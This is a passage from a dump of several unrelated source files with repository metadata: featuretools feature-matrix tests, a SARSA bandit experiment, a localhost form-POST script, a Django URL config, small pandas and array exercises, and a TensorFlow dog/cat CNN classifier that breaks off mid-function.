+ [False] * 9 + [False] * 2 + [True] instances = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 16, 15, 14] cutoff_df = pd.DataFrame({'time': times_dt, 'instance_id': instances, 'labels': labels}) cutoff_df = cutoff_df[['time', 'instance_id', 'labels']] property_feature = IdentityFeature(int_es['log']['value']) > 10 error_text = 'cutoff_time times must be.*try casting via.*' with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df) times_str = list(range(8, 17)) + ["foobar", 19, 20, 21, 22, 25, 24, 23] cutoff_df['time'] = times_str with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df) times_date_str = list(range(8, 17)) + ['2018-04-02', 19, 20, 21, 22, 25, 24, 23] cutoff_df['time'] = times_date_str with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df) times_int_str = [0, 1, 2, 3, 4, 5, '6', 7, 8, 9, 9, 10, 11, 12, 15, 14, 13] times_int_str = list(range(8, 17)) + ['17', 19, 20, 21, 22, 25, 24, 23] cutoff_df['time'] = times_int_str # calculate_feature_matrix should convert time column to ints successfully here with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df) def test_datetime_index_mixed_cutoff(es): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [17] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) labels = [False] * 3 + [True] * 2 + [False] * 9 + [False] * 2 + [True] instances = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 16, 15, 14] cutoff_df = pd.DataFrame({'time': times, 'instance_id': instances, 'labels': labels}) cutoff_df = cutoff_df[['time', 'instance_id', 'labels']] property_feature = IdentityFeature(es['log']['value']) > 10 error_text = 'cutoff_time times must be.*try casting via.*' with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_df) times[9] = "foobar" cutoff_df['time'] = times with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_df) cutoff_df['time'].iloc[9] = '2018-04-02 18:50:45.453216' with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_df) times[9] = '17' cutoff_df['time'] = times with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_df) def test_string_time_values_in_cutoff_time(es): times = ['2011-04-09 10:31:27', '2011-04-09 10:30:18'] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 0]}) agg_feature = ft.Feature(es['log']['value'], parent_entity=es['customers'], primitive=Sum) error_text = 'cutoff_time times must be.*try casting via.*' with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([agg_feature], es, cutoff_time=cutoff_time) # TODO: Dask version fails (feature matrix is empty) # TODO: Koalas version fails (koalas groupby agg doesn't support custom functions) def test_no_data_for_cutoff_time(mock_customer): if mock_customer.dataframe_type != Library.PANDAS.value: pytest.xfail("Dask fails because returned feature matrix is empty; Koalas doesn't support custom agg functions") es = mock_customer cutoff_times = pd.DataFrame({"customer_id": [4], "time": pd.Timestamp('2011-04-08 20:08:13')}) trans_per_session = ft.Feature(es["transactions"]["transaction_id"], parent_entity=es["sessions"], primitive=Count) trans_per_customer = ft.Feature(es["transactions"]["transaction_id"], parent_entity=es["customers"], primitive=Count) features = [trans_per_customer, ft.Feature(trans_per_session, parent_entity=es["customers"], primitive=Max)] fm = calculate_feature_matrix(features, entityset=es, cutoff_time=cutoff_times) # due to default values for each primitive # count will be 0, but max will nan np.testing.assert_array_equal(fm.values, [[0, np.nan]]) # adding missing instances not supported in Dask or Koalas def test_instances_not_in_data(pd_es): last_instance = max(pd_es['log'].df.index.values) instances = list(range(last_instance + 1, last_instance + 11)) identity_feature = IdentityFeature(pd_es['log']['value']) property_feature = identity_feature > 10 agg_feat = AggregationFeature(pd_es['log']['value'], parent_entity=pd_es["sessions"], primitive=Max) direct_feature = DirectFeature(agg_feat, pd_es["log"]) features = [identity_feature, property_feature, direct_feature] fm = calculate_feature_matrix(features, entityset=pd_es, instance_ids=instances) assert all(fm.index.values == instances) for column in fm.columns: assert fm[column].isnull().all() fm = calculate_feature_matrix(features, entityset=pd_es, instance_ids=instances, approximate="730 days") assert all(fm.index.values == instances) for column in fm.columns: assert fm[column].isnull().all() def test_some_instances_not_in_data(pd_es): a_time = datetime(2011, 4, 10, 10, 41, 9) # only valid data b_time = datetime(2011, 4, 10, 11, 10, 5) # some missing data c_time = datetime(2011, 4, 10, 12, 0, 0) # all missing data times = [a_time, b_time, a_time, a_time, b_time, b_time] + [c_time] * 4 cutoff_time = pd.DataFrame({"instance_id": list(range(12, 22)), "time": times}) identity_feature = IdentityFeature(pd_es['log']['value']) property_feature = identity_feature > 10 agg_feat = AggregationFeature(pd_es['log']['value'], parent_entity=pd_es["sessions"], primitive=Max) direct_feature = DirectFeature(agg_feat, pd_es["log"]) features = [identity_feature, property_feature, direct_feature] fm = calculate_feature_matrix(features, entityset=pd_es, cutoff_time=cutoff_time) ifeat_answer = [0, 7, 14, np.nan] + [np.nan] * 6 prop_answer = [0, 0, 1, np.nan, 0] + [np.nan] * 5 dfeat_answer = [14, 14, 14, np.nan] + [np.nan] * 6 assert all(fm.index.values == cutoff_time["instance_id"].values) for x, y in zip(fm.columns, [ifeat_answer, prop_answer, dfeat_answer]): np.testing.assert_array_equal(fm[x], y) fm = calculate_feature_matrix(features, entityset=pd_es, cutoff_time=cutoff_time, approximate="5 seconds") dfeat_answer[0] = 7 # approximate calculated before 14 appears dfeat_answer[2] = 7 # approximate calculated before 14 appears prop_answer[3] = 0 # no_unapproximated_aggs code ignores cutoff time assert all(fm.index.values == cutoff_time["instance_id"].values) for x, y in zip(fm.columns, [ifeat_answer, prop_answer, dfeat_answer]): np.testing.assert_array_equal(fm[x], y) def test_missing_instances_with_categorical_index(pd_es): instance_ids = [0, 1, 3, 2] features = ft.dfs(entityset=pd_es, target_entity='customers', features_only=True) fm = calculate_feature_matrix(entityset=pd_es, features=features, instance_ids=instance_ids) assert all(fm.index.values == instance_ids) assert isinstance(fm.index, pd.CategoricalIndex) def test_handle_chunk_size(): total_size = 100 # user provides no chunk size assert _handle_chunk_size(None, total_size) is None # user provides fractional size assert _handle_chunk_size(.1, total_size) == total_size * .1 assert _handle_chunk_size(.001, total_size) == 1 # rounds up assert _handle_chunk_size(.345, total_size) == 35 # rounds up # user provides absolute size assert _handle_chunk_size(1, total_size) == 1 assert _handle_chunk_size(100, total_size) == 100 assert isinstance(_handle_chunk_size(100.0, total_size), int) # test invalid cases with pytest.raises(AssertionError, match="Chunk size must be greater than 0"): _handle_chunk_size(0, total_size) with pytest.raises(AssertionError, match="Chunk size must be greater than 0"): _handle_chunk_size(-1, total_size) def test_chunk_dataframe_groups(): df = pd.DataFrame({ "group": [1, 1, 1, 1, 2, 2, 3] }) grouped = df.groupby("group") chunked_grouped = _chunk_dataframe_groups(grouped, 2) # test group larger than chunk size gets split up first = next(chunked_grouped) assert first[0] == 1 and first[1].shape[0] == 2 second = next(chunked_grouped) assert second[0] == 1 and second[1].shape[0] == 2 # test that equal to and less than chunk size stays together third = next(chunked_grouped) assert third[0] == 2 and third[1].shape[0] == 2 fourth = next(chunked_grouped) assert fourth[0] == 3 and fourth[1].shape[0] == 1 def test_calls_progress_callback(mock_customer): class MockProgressCallback: def __init__(self): self.progress_history = [] self.total_update = 0 self.total_progress_percent = 0 def __call__(self, update, progress_percent, time_elapsed): self.total_update += update self.total_progress_percent = progress_percent self.progress_history.append(progress_percent) mock_progress_callback = MockProgressCallback() es = mock_customer # make sure to calculate features that have different paths to same base feature trans_per_session = ft.Feature(es["transactions"]["transaction_id"], parent_entity=es["sessions"], primitive=Count) trans_per_customer = ft.Feature(es["transactions"]["transaction_id"], parent_entity=es["customers"], primitive=Count) features = [trans_per_session, ft.Feature(trans_per_customer, entity=es["sessions"])] calculate_feature_matrix(features, entityset=es, progress_callback=mock_progress_callback) # second to last entry is the last update from feature calculation assert np.isclose(mock_progress_callback.progress_history[-2], FEATURE_CALCULATION_PERCENTAGE * 100) assert np.isclose(mock_progress_callback.total_update, 100.0) assert np.isclose(mock_progress_callback.total_progress_percent, 100.0) # test with cutoff time dataframe mock_progress_callback = MockProgressCallback() cutoff_time = pd.DataFrame({"instance_id": [1, 2, 3], "time": [pd.to_datetime("2014-01-01 01:00:00"), pd.to_datetime("2014-01-01 02:00:00"), pd.to_datetime("2014-01-01 03:00:00")]}) calculate_feature_matrix(features, entityset=es, cutoff_time=cutoff_time, progress_callback=mock_progress_callback) assert np.isclose(mock_progress_callback.progress_history[-2], FEATURE_CALCULATION_PERCENTAGE * 100) assert np.isclose(mock_progress_callback.total_update, 100.0) assert np.isclose(mock_progress_callback.total_progress_percent, 100.0) def test_calls_progress_callback_cluster(pd_mock_customer): class MockProgressCallback: def __init__(self): self.progress_history = [] self.total_update = 0 self.total_progress_percent = 0 def __call__(self, update, progress_percent, time_elapsed): self.total_update += update self.total_progress_percent = progress_percent self.progress_history.append(progress_percent) mock_progress_callback = MockProgressCallback() trans_per_session = ft.Feature(pd_mock_customer["transactions"]["transaction_id"], parent_entity=pd_mock_customer["sessions"], primitive=Count) trans_per_customer = ft.Feature(pd_mock_customer["transactions"]["transaction_id"], parent_entity=pd_mock_customer["customers"], primitive=Count) features = [trans_per_session, ft.Feature(trans_per_customer, entity=pd_mock_customer["sessions"])] with cluster() as (scheduler, [a, b]): dkwargs = {'cluster': scheduler['address']} calculate_feature_matrix(features, entityset=pd_mock_customer, progress_callback=mock_progress_callback, dask_kwargs=dkwargs) assert np.isclose(mock_progress_callback.total_update, 100.0) assert np.isclose(mock_progress_callback.total_progress_percent, 100.0) def test_closes_tqdm(es): class ErrorPrim(TransformPrimitive): '''A primitive whose function raises an error''' name = "error_prim" input_types = [ft.variable_types.Numeric] return_type = "Numeric" compatibility = [Library.PANDAS, Library.DASK, Library.KOALAS] def get_function(self): def error(s): raise RuntimeError("This primitive has errored") return error value = ft.Feature(es['log']['value']) property_feature = value > 10 error_feature = ft.Feature(value, primitive=ErrorPrim) calculate_feature_matrix([property_feature], es, verbose=True) assert len(tqdm._instances) == 0 try: calculate_feature_matrix([value, error_feature], es, verbose=True) assert False except RuntimeError as e: assert e.args[0] == "This primitive has errored" finally: assert len(tqdm._instances) == 0 def test_approximate_with_single_cutoff_warns(pd_es): features = dfs(entityset=pd_es, target_entity='customers', features_only=True, ignore_entities=['cohorts'], agg_primitives=['sum']) match = "Using approximate with a single cutoff_time value or no cutoff_time " \ "provides no computational efficiency benefit" # test warning with single cutoff time with pytest.warns(UserWarning, match=match): calculate_feature_matrix(features, pd_es, cutoff_time=pd.to_datetime("2020-01-01"), approximate="1 day") # test warning with no cutoff time with pytest.warns(UserWarning, match=match): calculate_feature_matrix(features, pd_es, approximate="1 day") # check proper handling of approximate feature_matrix = calculate_feature_matrix(features, pd_es, cutoff_time=pd.to_datetime("2011-04-09 10:31:30"), approximate="1 minute") expected_values = [50, 50, 50] assert (feature_matrix['régions.SUM(log.value)'] == expected_values).values.all() def test_calc_feature_matrix_with_cutoff_df_and_instance_ids(es): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) instances = range(17) cutoff_time = pd.DataFrame({'time': times, es['log'].index: instances}) labels = [False] * 3 + [True] * 2 + [False] * 9 + [True] + [False] * 2 property_feature = ft.Feature(es['log']['value']) > 10 match = "Passing 'instance_ids' is valid only if 'cutoff_time' is a single value or None - ignoring" with pytest.warns(UserWarning, match=match): feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time, instance_ids=[1, 3, 5], verbose=True) feature_matrix = to_pandas(feature_matrix) assert (feature_matrix[property_feature.get_name()] == labels).values.all() def test_calculate_feature_matrix_returns_default_values(default_value_es): sum_features = ft.Feature(default_value_es["transactions"]["value"], parent_entity=default_value_es["sessions"], primitive=Sum) sessions_sum = ft.Feature(sum_features, entity=default_value_es["transactions"]) feature_matrix = ft.calculate_feature_matrix(features=[sessions_sum], entityset=default_value_es) feature_matrix = to_pandas(feature_matrix, index='id', sort_index=True) expected_values = [2.0, 2.0, 1.0, 0.0] assert (feature_matrix[sessions_sum.get_name()] == expected_values).values.all() def test_entities_relationships(entities, relationships): fm_1, features = ft.dfs(entities=entities, relationships=relationships, target_entity="transactions") fm_2 = calculate_feature_matrix(features=features, entities=entities, relationships=relationships) fm_1 = to_pandas(fm_1, index='id', sort_index=True) fm_2 = to_pandas(fm_2, index='id', sort_index=True) assert fm_1.equals(fm_2) def test_no_entities(entities, relationships): features = ft.dfs(entities=entities, relationships=relationships, target_entity="transactions", features_only=True) msg = "No entities or valid EntitySet provided" with pytest.raises(TypeError, match=msg): calculate_feature_matrix(features=features, entities=None, relationships=None) def test_no_relationships(entities): fm_1, features = ft.dfs(entities=entities, relationships=None, target_entity="transactions") fm_2 = calculate_feature_matrix(features=features, entities=entities, relationships=None) fm_1 = to_pandas(fm_1, index='id') fm_2 = to_pandas(fm_2, index='id') assert fm_1.equals(fm_2)

[ "you@example.com" ]

you@example.com

c1932ced18cc4d0c93dce745c12cbbb5cfb102d5

c4a077e134f9f6a78b20b13ab329c582416e4ee9

/research/sweepSarsa.py

cc9314c4de238df0fb2fcde6fb78d94867bba7aa

[]

no_license

mcmachado/ALEResearch

347e9b7ae58cf900dcf07f4a1a562c7b1d4a747d

e4924e8ad8beb156d4937f8b4213ea1dcf76b8fd

refs/heads/master

2021-01-10T07:30:48.244905

2016-11-28T00:16:40

36,131,343

7

2

null

2015-10-01T23:33:06

2015-05-23T16:17:29

C++

UTF-8

Python

false

3,274

py

import sys import random as r import numpy as np import statistics as stat RMAX = 9.0 params = [0.001, 0.005, 0.01, 0.05, 0.1, 0.5, 1, 5.0] class Bandits: numArms = 2 mus = [1.0, 3.0] sigmas = [0.5, 9.0] print 'N(', mus[0], ',', sigmas[0], ') N(', mus[1], ',', sigmas[1], ') RMAX:', RMAX def __init__(self, s, numIterations): np.random.seed(seed=s) self.arms = [] self.currIdx = [] for i in xrange(self.numArms): self.currIdx.append(0) self.arms.append([]) self.arms[i] = np.random.normal(self.mus[i], self.sigmas[i], numIterations + 1) def pullArm(self, i): assert(i < self.numArms) self.currIdx[i] += 1 return self.arms[i][self.currIdx[i] - 1] def resetEnv(self): for i in xrange(self.numArms): self.currIdx[i] = 0 def epsilonGreedy(theta, epsilon = 0.05): argmax = np.argmax(theta) if r.randint(1, 100) < int(epsilon * 100): return r.randint(0, len(theta)-1) else: return argmax ''' Regular SARSA(0) implementation using a fixed step-size and an epsilon-greedy policy.''' def SARSA(b, numIterations, stepSize, optimism=0): theta = [] acumReturn = 0 alpha = stepSize for i in xrange(b.numArms): theta.append(optimism) for t in xrange(numIterations): i = epsilonGreedy(theta) reward = b.pullArm(i) acumReturn += reward theta[i] = theta[i] + alpha * (reward + 0 - theta[i]) return acumReturn def __init__(): for param in params: print print 'Step Size ' + str(param) lvlOptimism = RMAX numSeeds = 2000 numIterations = 1000 #Variables that will store the results for all methods res_MAX = [] res_SARSA_P = [] res_SARSA_O = [] '''Already pull all the arms and store them, this way one can easily reproduce the results and come back to see other possibilities''' b = [] for s in xrange(1, numSeeds+1): b.append(Bandits(s, numIterations)) #Run the experiment x times, where x is the number of seeds for s in xrange(1, numSeeds + 1): seed = s r.seed(seed) res_MAX.append([]) res_SARSA_P.append([]) res_SARSA_O.append([]) maxReturn = 0 '''First I just calculate the max return one could've get.''' for i in xrange(numIterations): maxReturn += max(b[s-1].pullArm(0), b[s-1].pullArm(1)) res_MAX[s-1].append(maxReturn) b[s-1].resetEnv() '''Agent following the SARSA(0) pessimistically initialized.''' r.seed(seed) res_SARSA_P[s-1].append(SARSA(b[s-1], numIterations, param)) b[s-1].resetEnv() '''Agent following the SARSA(0) optimistically initialized.''' r.seed(seed) res_SARSA_O[s-1].append(SARSA(b[s-1], numIterations, param, lvlOptimism)) b[s-1].resetEnv() '''Now we can take the average return of each method:''' res_MAX_avg = [] res_SARSA_P_avg = [] res_SARSA_O_avg = [] for i in xrange(numSeeds): res_MAX_avg.append(stat.mean(res_MAX[i])) res_SARSA_P_avg.append(stat.mean(res_SARSA_P[i])) res_SARSA_O_avg.append(stat.mean(res_SARSA_O[i])) print 'Max return :', stat.mean(res_MAX_avg), ',', stat.stdev(res_MAX_avg) print 'SARSA(0) -- pess.:', stat.mean(res_SARSA_P_avg), ',', stat.stdev(res_SARSA_P_avg) print 'SARSA(0) -- opt. :', stat.mean(res_SARSA_O_avg), ',', stat.stdev(res_SARSA_O_avg) __init__()

[ "marlos.cholodovskis@gmail.com" ]

marlos.cholodovskis@gmail.com

21de9e8f87a9c5280417736eaa4e0dc0c5f84a96

f0d70b5e2b4a74aaa5450c46d1edc65ef36c8c60

/week4/post_register.py

ce637905eb178a59370361b45174731ba2ae71f7

[]

no_license

Natthapol-PEET/Internet-System-Programming

4cdcb472c4bec4913e5ddbcd71f32c8a2119f8bd

329e5723d2984b808a53a164110d9c0fd5fd2135

refs/heads/master

2022-12-17T09:02:28.392963

2020-09-20T15:24:20

281,337,304

0

null

UTF-8

Python

false

368

py

import urllib.request as ur import urllib.parse as up url = 'http://localhost/Register/register_post.php' value = { 'name': 'PEET', 'location': '7-225', 'language': 'Python' } data = up.urlencode(value) data = data.encode('ascii') req = ur.Request(url, data) with ur.urlopen(req) as res: data_read = res.read() print(data_read.decode('ascii'))

[ "natthapol.n@ku.th" ]

natthapol.n@ku.th

2b509eb15e65f8db44f4cb66fe93f0a4ab30b00a

35ec162983b05964516e3037f4b57baa3552d989

/simplist/simplist/urls.py

56e2f387b093a8f12e2db7af84c22f6f8f8d7517

[]

no_license

techscientist/Simplist

dd9e8ab4ef2588e66b5b57102367028bf8264501

f0657af76b976b4d6712813ee7fe9db719cdcd47

refs/heads/master

2020-12-31T01:47:33.706601

2016-02-19T01:44:06

null

0

null

UTF-8

Python

false

885

py

"""simplist URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Import the include() function: from django.conf.urls import url, include 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import include,url from django.contrib import admin urlpatterns = [ url(r'^simplistApp/', include('simplistApp.urls')), url(r'admin/',admin.site.urls), ]

[ "algarc04+github@gmail.com" ]

algarc04+github@gmail.com

79f27119cb73feb73d0a17fd967a8c397a66599d

6e73ae0040136441c238e16f8b45c4920246a714

/xl.py

bb9252779584d36eae25a93ce9426f785dfdb38d

[]

no_license

Qzwini/test-python-Excel-

1c0adf17ad48c80d3098858b70f70eee9b9281f1

6ec427019f645033f9fc2f46a2051bedcff02615

refs/heads/master

2022-12-17T02:49:18.425075

2020-09-15T22:44:37

295,862,712

0

null

UTF-8

Python

false

101

py

import numpy as np import pandas as pd excel_file="xl.xlsx" df = pd.read_excel(excel_file) print(df)

[ "qzwini@gmail.com" ]

qzwini@gmail.com

437ebcc8ee709f93b5842ce833b1b5047795bdc2

b8b11f4a8a2871300d2f909f6ef99ee5f9464900

/Part-1/05D.py

060abb0318520ddc97a045d2ab63bcc323f4c75d

[]

no_license

shabanskaya/Data-Structures-Algorithms-in-Python

d9221fd2a2d57f9bfef2a38780aadcf2993656eb

4af75257bb96385e028a1909fce52645f3162b5c

refs/heads/main

2023-01-21T11:10:25.961154

2020-12-01T10:05:08

317,496,900

0

null

UTF-8

Python

false

252

py

n = int(input()) s = input() a = s.split() for i in range(1, n-1): if (int(a[i]) > int(a[i-1])) and (int(a[i]) > int(a[i+1])): print(i, end = ' ') elif (int(a[i]) < int(a[i-1])) and (int(a[i]) < int(a[i+1])): print(i, end = ' ')

[ "shabanskaia.ka@phystech.edu" ]

shabanskaia.ka@phystech.edu

4068bc3b5400f96d9ce74cb10d77be3e036e6f0f

548f6a3d0478b5e1607a6b326f28ee3a59f5e91c

/Chapter03/Dog_cat_classification/CNN_DogvsCat_Classifier.py

6274a567e3adba914f7596b5a97eacbbe281fe22

[ "MIT" ]

permissive

PacktPublishing/Practical-Convolutional-Neural-Networks

c6402550aa0c593f272eefab38c9e135f6c45d0d

3ebf6a68ff73c76580f2350a3a2b47b621f346c5

refs/heads/master

2023-02-09T20:56:40.334280

2023-01-30T08:26:25

122,965,539

32

19

null

UTF-8

Python

false

14,379

py

import time import math import random import os import pandas as pd import numpy as np import matplotlib.pyplot as plt import tensorflow as tf import Preprocessor import cv2 import LayersConstructor from sklearn.metrics import confusion_matrix from datetime import timedelta from tensorflow.python.framework import ops from sklearn.metrics.classification import accuracy_score from sklearn.metrics import precision_recall_fscore_support import warnings warnings.filterwarnings("ignore") os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' ops.reset_default_graph() # Convolutional Layer 1. filter_size1 = 3 num_filters1 = 32 # Convolutional Layer 2. filter_size2 = 3 num_filters2 = 32 # Convolutional Layer 3. filter_size3 = 3 num_filters3 = 64 # Fully-connected layer. fc_size = 128 # Number of neurons in fully-connected layer. # Learning rate. Let's make the training slower for more intensive training learning_rate=1e-4 # Number of color channels for the images: 1 channel for gray-scale. num_channels = 3 # image dimensions (only squares for now) img_size = 128 # Size of image when flattened to a single dimension img_size_flat = img_size * img_size * num_channels # Tuple with height and width of images used to reshape arrays. img_shape = (img_size, img_size) # class info classes = ['dogs', 'cats'] num_classes = len(classes) # batch size batch_size = 32 # validation split validation_size = 0.16 # how long to wait after validation loss stops improving before terminating training early_stopping = None # use None if you don't want to implement early stoping train_path = 'train/' test_path = 'test/' checkpoint_dir = "models/" data = Preprocessor.read_train_sets(train_path, img_size, classes, validation_size=validation_size) test_images, test_ids = Preprocessor.read_test_set(test_path, img_size) print("Size of:") print(" - Training-set:\t\t{}".format(len(data.train.labels))) print(" - Test-set:\t\t{}".format(len(test_images))) print(" - Validation-set:\t{}".format(len(data.valid.labels))) def plot_images(images, cls_true, cls_pred=None): if len(images) == 0: print("no images to show") return else: random_indices = random.sample(range(len(images)), min(len(images), 9)) images, cls_true = zip(*[(images[i], cls_true[i]) for i in random_indices]) # Create figure with 3x3 sub-plots. fig, axes = plt.subplots(3, 3) fig.subplots_adjust(hspace=0.3, wspace=0.3) for i, ax in enumerate(axes.flat): # Plot image. ax.imshow(images[i].reshape(img_size, img_size, num_channels)) # Show true and predicted classes. if cls_pred is None: xlabel = "True: {0}".format(cls_true[i]) else: xlabel = "True: {0}, Pred: {1}".format(cls_true[i], cls_pred[i]) # Show the classes as the label on the x-axis. ax.set_xlabel(xlabel) # Remove ticks from the plot. ax.set_xticks([]) ax.set_yticks([]) # Ensure the plot is shown correctly with multiple plots # in a single Notebook cell. plt.show() # Get some random images and their labels from the train set. images, cls_true = data.train.images, data.train.cls # Plot the images and labels using our helper-function above. plot_images(images=images, cls_true=cls_true) x = tf.placeholder(tf.float32, shape=[None, img_size_flat], name='x') x_image = tf.reshape(x, [-1, img_size, img_size, num_channels]) y_true = tf.placeholder(tf.float32, shape=[None, num_classes], name='y_true') y_true_cls = tf.argmax(y_true, axis=1) layer_conv1, weights_conv1 = \ LayersConstructor.new_conv_layer(input=x_image, num_input_channels=num_channels, filter_size=filter_size1, num_filters=num_filters1, use_pooling=True) layer_conv2, weights_conv2 = \ LayersConstructor.new_conv_layer(input=layer_conv1, num_input_channels=num_filters1, filter_size=filter_size2, num_filters=num_filters2, use_pooling=True) layer_conv3, weights_conv3 = \ LayersConstructor.new_conv_layer(input=layer_conv2, num_input_channels=num_filters2, filter_size=filter_size3, num_filters=num_filters3, use_pooling=True) layer_flat, num_features = LayersConstructor.flatten_layer(layer_conv3) layer_fc1 = LayersConstructor.new_fc_layer(input=layer_flat, num_inputs=num_features, num_outputs=fc_size, use_relu=True) layer_fc2 = LayersConstructor.new_fc_layer(input=layer_fc1, num_inputs=fc_size, num_outputs=num_classes, use_relu=False) y_pred = tf.nn.softmax(layer_fc2) y_pred_cls = tf.argmax(y_pred, axis=1) cross_entropy = tf.nn.softmax_cross_entropy_with_logits_v2(logits=layer_fc2, labels=y_true) cost = tf.reduce_mean(cross_entropy) optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost) correct_prediction = tf.equal(y_pred_cls, y_true_cls) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) init_op = tf.global_variables_initializer() session = tf.Session() session.run(init_op) train_batch_size = batch_size acc_list = [] val_acc_list = [] def print_progress(epoch, feed_dict_train, feed_dict_validate, val_loss): # Calculate the accuracy on the training-set. acc = session.run(accuracy, feed_dict=feed_dict_train) val_acc = session.run(accuracy, feed_dict=feed_dict_validate) return acc, val_acc # Counter for total number of iterations performed so far. total_iterations = 0 iter_list = [] def optimize(num_iterations): # Ensure we update the global variable rather than a local copy. global total_iterations # Start-time used for printing time-usage below. start_time = time.time() best_val_loss = float("inf") patience = 0 for i in range(total_iterations, total_iterations + num_iterations): # Get a batch of training examples. # x_batch now holds a batch of images and # y_true_batch are the true labels for those images. x_batch, y_true_batch, _, cls_batch = data.train.next_batch(train_batch_size) x_valid_batch, y_valid_batch, _, valid_cls_batch = data.valid.next_batch(train_batch_size) # Convert shape from [num examples, rows, columns, depth] # to [num examples, flattened image shape] x_batch = x_batch.reshape(train_batch_size, img_size_flat) x_valid_batch = x_valid_batch.reshape(train_batch_size, img_size_flat) # Put the batch into a dict with the proper names # for placeholder variables in the TensorFlow graph. feed_dict_train = {x: x_batch, y_true: y_true_batch} feed_dict_validate = {x: x_valid_batch, y_true: y_valid_batch} # Run the optimizer using this batch of training data. # TensorFlow assigns the variables in feed_dict_train # to the placeholder variables and then runs the optimizer. session.run(optimizer, feed_dict=feed_dict_train) # Print status at end of each epoch (defined as full pass through training Preprocessor). if i % int(data.train.num_examples/batch_size) == 0: val_loss = session.run(cost, feed_dict=feed_dict_validate) epoch = int(i / int(data.train.num_examples/batch_size)) acc, val_acc = print_progress(epoch, feed_dict_train, feed_dict_validate, val_loss) msg = "Epoch {0} --- Training Accuracy: {1:>6.1%}, Validation Accuracy: {2:>6.1%}, Validation Loss: {3:.3f}" print(msg.format(epoch + 1, acc, val_acc, val_loss)) print(acc) acc_list.append(acc) val_acc_list.append(val_acc) iter_list.append(epoch+1) if early_stopping: if val_loss < best_val_loss: best_val_loss = val_loss patience = 0 else: patience += 1 if patience == early_stopping: break # Update the total number of iterations performed. total_iterations += num_iterations # Ending time. end_time = time.time() # Difference between start and end-times. time_dif = end_time - start_time # Print the time-usage. print("Time elapsed: " + str(timedelta(seconds=int(round(time_dif))))) def plot_example_errors(cls_pred, correct): # cls_pred is an array of the predicted class-number for # all images in the test-set. # correct is a boolean array whether the predicted class # is equal to the true class for each image in the test-set. # Negate the boolean array. incorrect = (correct == False) # Get the images from the test-set that have been # incorrectly classified. images = data.valid.images[incorrect] # Get the predicted classes for those images. cls_pred = cls_pred[incorrect] # Get the true classes for those images. cls_true = data.valid.cls[incorrect] # Plot the first 9 images. plot_images(images=images[0:9], cls_true=cls_true[0:9], cls_pred=cls_pred[0:9]) def plot_confusion_matrix(cls_pred): # cls_pred is an array of the predicted class-number for # all images in the test-set. # Get the true classifications for the test-set. cls_true = data.valid.cls # Get the confusion matrix using sklearn. cm = confusion_matrix(y_true=cls_true, y_pred=cls_pred) # Compute the precision, recall and f1 score of the classification p, r, f, s = precision_recall_fscore_support(cls_true, cls_pred, average='weighted') print('Precision:', p) print('Recall:', r) print('F1-score:', f) # Print the confusion matrix as text. print(cm) # Plot the confusion matrix as an image. plt.matshow(cm) # Make various adjustments to the plot. plt.colorbar() tick_marks = np.arange(num_classes) plt.xticks(tick_marks, range(num_classes)) plt.yticks(tick_marks, range(num_classes)) plt.xlabel('Predicted') plt.ylabel('True') # Ensure the plot is shown correctly with multiple plots # in a single Notebook cell. plt.show() def print_validation_accuracy(show_example_errors=False, show_confusion_matrix=False): # Number of images in the test-set. num_test = len(data.valid.images) # Allocate an array for the predicted classes which # will be calculated in batches and filled into this array. cls_pred = np.zeros(shape=num_test, dtype=np.int) # Now calculate the predicted classes for the batches. # We will just iterate through all the batches. # There might be a more clever and Pythonic way of doing this. # The starting index for the next batch is denoted i. i = 0 while i < num_test: # The ending index for the next batch is denoted j. j = min(i + batch_size, num_test) # Get the images from the test-set between index i and j. images = data.valid.images[i:j, :].reshape(batch_size, img_size_flat) # Get the associated labels. labels = data.valid.labels[i:j, :] # Create a feed-dict with these images and labels. feed_dict = {x: images, y_true: labels} # Calculate the predicted class using TensorFlow. cls_pred[i:j] = session.run(y_pred_cls, feed_dict=feed_dict) # Set the start-index for the next batch to the # end-index of the current batch. i = j cls_true = np.array(data.valid.cls) cls_pred = np.array([classes[x] for x in cls_pred]) # Create a boolean array whether each image is correctly classified. correct = (cls_true == cls_pred) # Calculate the number of correctly classified images. # When summing a boolean array, False means 0 and True means 1. correct_sum = correct.sum() # 